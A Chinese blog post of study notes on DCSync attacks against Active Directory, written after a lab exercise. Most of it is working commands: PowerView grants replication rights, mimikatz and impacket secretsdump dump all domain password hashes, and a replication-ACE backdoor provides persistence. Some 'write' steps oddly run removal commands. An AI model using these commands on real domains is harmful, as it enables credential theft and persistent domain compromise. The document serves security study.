DCSync Learning

前言

这个是在打了云镜Initial的时候接触到的知识点,所以打算拿出来详细学习一下其原理,这里贴一下DRSR(Directory Replication Service)协议:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47 因为似乎这个漏洞利用的原理就是这个协议

在DCSync技术没有出现之前,攻击者要想拿到域内用户的hash,就只能在域控制器上运行 Mimikatz 或 Invoke-Mimikatz去抓取密码hash,但是在2015 年 8 月份, Mimkatz新增了一个主要功能叫"DCSync",使用这项技术可以有效地 “模拟” 域控制器并从目标域控上请求域内用户密码hash。

攻击原理

主要是利用AD复制技术,在一个企业内部,为了防止DC出问题,就会布置多台域控作为AD域的备份,其作用就是同步数据更新,因为域内需要做身份验证,利用这种方法就可以快速的更新信息,这个过程就要用到前言说的Microsoft的远程目录复制服务协议也就是DRSR协议,在不同DC之间每15分钟会进行一次数据同步,而DYSync攻击就是利用这个地方进行攻击 通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求

查找域内具有DCSync权限的用户

我们可以使用powerview中的Add-DomainObjectAcl函数写入DCSync权限

1
2
3
Set-ExecutionPolicy Bypass -Scope Process
import-module .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity haha -Rights DCSync -Verbose

通过cmd调用powershell写入

1
powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Remove-DomainObjectAcl -TargetIdentity \"DC=test,DC=com\" -PrincipalIdentity haha -Rights DCSync -Verbose}"
1
powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Remove-DomainObjectAcl -TargetIdentity \"DC=test,DC=com\" -PrincipalIdentity test -Rights DCSync -Verbose}"

powershell写入

1
2
Import-Module .\PowerView.ps1;
Remove-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test -Rights DCSync -Verbose

powershell查找

1
2
3
Import-Module  .\Powerview.ps1
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType  -match "DS-Replication-Get-Changes"}
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType  -match "Replicating Directory Changes"} 

adfind查找 复制目录更改(DS-Replication-Get-Changes)

1
AdFind.exe -s subtree -b "DC=test,DC=com" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute

全部复制目录更改 (DS-Replication-Get-Changes-All))

1
AdFind.exe -s subtree -b "DC=test,DC=com" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes All";; -recmute

攻击

如果拿到了域内用户的权限,则可以在域内直接使用mimikatz去dump域控hash,也可以利用impacket中的secretdump去dump哈希

mimikatz

1
mimikatz.exe "log Micropoor.txt"  "lsadump::dcsync /domain:test.com /all /csv " "exit"

secretdump

1
2
python3 secretsdump.py test/admin:www123456#@192.168.189.128  -dc-ip  192.168.189.128
python3 secretsdump.py 'test.com/[email protected]' -hashes :6dfad00b946adf3479fba71beeb5e4ac

拿到以下用户权限可以直接写入DCSync

1
2
3
4
Administrators组内的用户
domain admins组
enterprise admins组
域控制器的计算机帐户

看一下ACL

1
2
Import-Module .\Powerview.ps1
Get-DomainObjectAcl -Identity admin -domain test.com -ResolveGUIDs

写入

1
powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Add-DomainObjectAcl -TargetIdentity \"DC=test,DC=com\" -PrincipalIdentity admin -Rights DCSync -Verbose}"

dump hash

1
mimikatz.exe "log Micropoor.txt"  "lsadump::dcsync /domain:test.com /all /csv" "exit"

若当前用户具有WriteDACL权限,那么我们可以通过该权限去写入DCSync功能
我们先在域控上给用户haha添加WriteDACL的权限

1
2
Import-Module .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity haha -Rights WriteDacl -Verbose

写入

1
powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Add-DomainObjectAcl -TargetIdentity \"DC=test,DC=com\" -PrincipalIdentity haha -Rights DCSync -Verbose}"

权限维持

利用条件:

获得以下任一用户的权限:

  • Domain Admins组内的用户
  • Enterprise Admins组内的用户

利用原理:

向域内的一个普通用户添加如下三条ACE(Access Control Entries):

  • DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

该用户即可获得利用DCSync导出域内所有用户hash的权限

实现代码:

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1#L8270

利用方法:

添加ACE的命令如下:

1
Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose

补充:

删除ACE的命令:

1
Remove-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose

注:

关于更多ACL的内容可参考之前的文章:《渗透技巧——Windows下的Access Control List》

使用域用户test1调用DCSync的方法如下:

1
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit

(1)弹出cmd

1
echo 123456789 | runas /noprofile /user:test\test1 cmd

弹出的cmd下执行如下命令:

1
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit

(2)不弹框实现

1
echo 123456789 | runas /noprofile /user:test\test1 c:\test\1.bat

1.bat的内容如下:

1
c:\test\mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit>c:\test\1.txt

注:

同类的工具还有lsrunas、lsrunase和CPAU

(1)弹出cmd

1
2
3
4
$uname="test\test1"                                                      
$pwd=ConvertTo-SecureString "12345678" -AsPlainText –Force                   
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)        
Start-Process -FilePath "cmd.exe" -Credential $cred  

弹出的cmd下执行如下命令:

1
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit

(2)不弹框实现

1
2
3
4
$uname="test\test1"                                                      
$pwd=ConvertTo-SecureString "12345678" -AsPlainText –Force                   
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)        
Start-Process -FilePath "c:\test\1.bat" -Credential $cred

1.bat的内容如下:

1
c:\test\mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit>c:\test\1.txt

注:

使用wmic在本机实现登录用户test1会失败,错误如下:

1
2
ERROR:
Description = User credentials cannot be used for local connections

参考文章: https://tttang.com/archive/1634/#toc_1dcsync_1 https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-DCSync

Related Content